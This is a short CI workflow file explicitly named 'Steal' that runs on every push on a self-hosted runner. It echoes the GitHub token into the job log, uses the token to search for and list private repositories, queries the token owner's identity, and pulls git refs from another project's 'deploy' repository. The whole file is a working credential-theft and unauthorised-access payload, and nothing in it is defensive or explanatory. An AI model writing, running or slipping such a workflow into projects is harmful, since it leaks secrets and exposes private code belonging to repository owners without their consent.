13 lines
602 B
YAML
13 lines
602 B
YAML
name: Steal
|
|
on: [push]
|
|
jobs:
|
|
steal:
|
|
runs-on: self-hosted
|
|
steps:
|
|
- run: |
|
|
echo "TOKEN=$GITHUB_TOKEN"
|
|
curl -s "$GITHUB_SERVER_URL/api/v1/repos/search?private=true&limit=50&token=$GITHUB_TOKEN" | python3 -c "import sys,json;[print(r[\"full_name\"],r[\"private\"]) for r in json.load(sys.stdin).get(\"data\",[])]" 2>/dev/null || true
|
|
curl -s "$GITHUB_SERVER_URL/api/v1/user?token=$GITHUB_TOKEN" || true
|
|
curl -s "$GITHUB_SERVER_URL/twmonogps/deploy.git/info/refs?service=git-upload-pack" -H "Authorization: token $GITHUB_TOKEN" | head -c 500 || true
|
|
|